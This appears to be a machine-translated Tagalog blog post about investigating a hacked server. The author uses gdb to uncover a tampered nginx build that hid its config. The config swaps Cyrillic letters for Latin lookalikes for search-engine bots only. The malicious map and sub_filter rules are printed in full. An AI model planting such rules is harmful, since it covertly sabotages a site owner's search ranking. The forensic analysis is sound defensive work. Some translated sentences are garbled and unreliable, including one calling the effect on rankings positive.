Kapag ang 'a' ay hindi katumbas ng 'a'. Sa landas ng isang hack

Isang pinaka hindi kasiya-siyang kwento ang nangyari sa isa sa aking mga kaibigan. Ngunit bilang hindi kasiya-siya bilang ito ay naging para kay Mikhail, ito ay nakakaaliw din para sa akin.

Dapat kong sabihin na ang aking kaibigan ay medyo UNIX-user: maaaring i-install ang system mismo MySQL, php at gumawa ng mga simpleng setting nginx.
At mayroon siyang isang dosena o isa't kalahating website na nakatuon sa mga tool sa pagtatayo.

Isa sa mga site na ito na nakatuon sa mga chainsaw ay matatag na nakaupo sa TOP ng mga search engine. Ang site na ito ay isang non-commercial reviewer, ngunit may nakaugalian na umatake dito. yun DDoS, tapos brute force, tapos nagsusulat sila ng malalaswang komento at nagpapadala ng mga pang-aabuso sa hosting at sa RKN.
Biglang huminahon ang lahat at ang kalmadong ito ay naging hindi maganda, at ang site ay nagsimulang unti-unting umalis sa mga nangungunang linya ng mga resulta ng paghahanap.

Kapag ang 'a' ay hindi katumbas ng 'a'. Sa kalagayan ng isang hack

That was a saying, tapos kwento mismo ng admin.

Malapit nang matulog nang tumunog ang telepono: “San, hindi ka ba titingin sa server ko? Para sa akin na na-hack ako, hindi ko mapapatunayan, ngunit ang pakiramdam ay hindi umalis sa akin sa ikatlong linggo. Siguro oras na para magpagamot ako para sa paranoia?"

Ang sumunod ay isang kalahating oras na talakayan na maaaring ibuod tulad ng sumusunod:

  • ang lupa para sa pag-hack ay medyo mataba;
  • ang isang umaatake ay maaaring makakuha ng mga karapatan ng superuser;
  • ang pag-atake (kung naganap ito) ay partikular na na-target sa site na ito;
  • ang mga lugar ng problema ay naitama at kailangan mo lamang na maunawaan kung mayroong anumang pagtagos;
  • hindi makakaapekto ang hack sa code ng site at mga database.

Tungkol sa huling punto.

Kapag ang 'a' ay hindi katumbas ng 'a'. Sa kalagayan ng isang hack

Tanging ang puting frontend IP ang nakikita sa mundo. Walang palitan sa pagitan ng mga backend at frontend maliban sa (mga) http, ang mga user/password ay iba, walang mga susi ang ipinagpalit. Sa mga gray na address, lahat ng port maliban sa 80/443 ay sarado. Ang mga puting backend IP ay kilala lamang ng dalawang user, na lubos na pinagkakatiwalaan ni Mikhail.

Naka-install sa frontend Debian 9 at sa oras na ang tawag ay ginawa, ang system ay nakahiwalay sa mundo ng isang panlabas na firewall at huminto.

"Ok, bigyan mo ako ng access," nagpasya akong ipagpaliban ang pagtulog nang isang oras. "Makikita ko sa sarili kong mga mata."

Dito at higit pa:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Naghahanap ng posibleng hack

Sinimulan ko ang server, una sa loob rescue-mode. Ini-mount ko ang mga disk at i-flip ang mga ito auth-mga tala, kasaysayan, mga log ng system, atbp., kung maaari, sinusuri ko ang mga petsa ng paglikha ng file, kahit na naiintindihan ko na ang isang normal na cracker ay "swept up" pagkatapos ng kanyang sarili, at si Misha ay "natapakan" ng marami habang hinahanap niya ang kanyang sarili .

Nagsisimula ako sa normal na mode, hindi pa talaga maintindihan kung ano ang hahanapin, pinag-aaralan ko ang mga config. Una sa lahat, interesado ako nginx dahil, sa pangkalahatan, walang iba sa frontend maliban dito.
Ang mga config ay maliit, maayos na nakabalangkas sa isang dosenang mga file, tinitingnan ko lang sila pusa'oh isa-isa. Tila malinis ang lahat, ngunit hindi mo alam kung may napalampas ako isama, hayaan mo akong gumawa ng buong listahan:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Hindi ko naintindihan: "Nasaan ang listahan?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Ang pangalawang tanong ay idinagdag sa tanong sa listahan: "Bakit isang sinaunang bersyon ng nginx?"

Bilang karagdagan, naniniwala ang system na ang pinakabagong bersyon ay naka-install:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Tumatawag ako:
- Misha, bakit ka muling nagtipon nginx?
- Maghintay, hindi ko alam kung paano gawin ito!
- sige, matulog ka na...

Nginx ito ay malinaw na itinayong muli at ang output ng listahan gamit ang "-T" ay nakatago para sa isang dahilan. Wala nang anumang mga pagdududa tungkol sa pag-hack at maaari mo lamang itong tanggapin at (dahil pinalitan ni Misha ang server ng bago pa rin) isaalang-alang ang problema na nalutas.

At sa katunayan, dahil may nakakuha ng mga karapatan ugat‘ah, kung gayon ang katuturan lang gawin muling i-install ang system, at walang silbi ang paghahanap kung ano ang mali doon, ngunit sa pagkakataong ito natalo ng kuryusidad ang pagtulog. Paano natin malalaman kung ano ang gusto nilang itago sa atin?

Subukan nating i-trace:

$ strace nginx -T

Tinitingnan namin ito, malinaw na walang sapat na mga linya sa bakas a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Katuwaan lang, ikumpara natin ang mga natuklasan.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Sa tingin ko bahagi ng code /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ay dinala sa form:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

o

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

samakatuwid ang listahan ng "-T" ay hindi ipinapakita.

Ngunit paano natin makikita ang ating config?

Kung tama ang iniisip ko at nasa variable lang ang problema ngx_dump_config subukan nating i-install ito gamit gdb, buti na lang may susi --with-cc-opt -g kasalukuyan at umaasa na optimization -O2 hindi tayo sasaktan nito. At the same time, dahil hindi ko alam kung paano ngx_dump_config maaaring iproseso sa kaso 'T':, hindi namin tatawagin ang block na ito, ngunit i-install ito gamit ang kaso 't':

Bakit maaari mong gamitin ang '-t' pati na rin ang '-T'Pagproseso ng Block if(ngx_dump_config) nangyayari sa loob if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Siyempre, kung binago ang code sa bahaging ito at hindi sa kaso 'T':, kung gayon ang aking pamamaraan ay hindi gagana.

Subukan ang nginx.confNang malutas na ang problema sa pang-eksperimentong paraan, natukoy na ang isang minimum na pagsasaayos ay kinakailangan para gumana ang malware nginx uri:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Gagamitin namin ito para sa kaiklian sa artikulo.

Ilunsad ang debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Hakbang-hakbang:

  • magtakda ng breakpoint sa function main ()
  • ilunsad ang programa
  • baguhin ang halaga ng variable na tumutukoy sa output ng config ngx_dump_config=1
  • ipagpatuloy/tapusin ang programa

Tulad ng nakikita natin, ang tunay na config ay naiiba sa atin, pumili kami ng isang parasitiko na piraso mula dito:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Tingnan natin kung ano ang nangyayari dito sa pagkakasunud-sunod.

Determinado Ahente ng Gumagamit'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Ang mga pahina ng serbisyo ay hindi kasama WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

At para sa mga nahulog sa ilalim ng parehong mga kondisyon sa itaas

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sa teksto html-nagbabago ang mga pahina 'O' sa 'o' и 'A' sa 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Tama, ang tanging subtlety ay iyon 'a' != 'a' kagaya ng 'o' != 'o':

Kapag ang 'a' ay hindi katumbas ng 'a'. Sa kalagayan ng isang hack

Kaya, ang mga search engine bots ay tumatanggap, sa halip na normal na 100% Cyrillic text, binagong basura na diluted na may Latin 'a' и 'o'. Hindi ako nangahas na talakayin kung paano ito nakakaapekto sa SEO, ngunit malamang na ang gayong paghalu-halo ng mga titik ay magkakaroon ng positibong epekto sa mga posisyon sa mga resulta ng paghahanap.

Ano ang masasabi ko, guys na may imahinasyon.

sanggunian

Pag-debug gamit ang GDB
gdb(1) — Linux man page
strace(1) — Linux man page
Nginx - Module ngx_http_sub_module
Tungkol sa saws, chainsaws at electric saws

Pinagmulan: www.habr.com

Magdagdag ng komento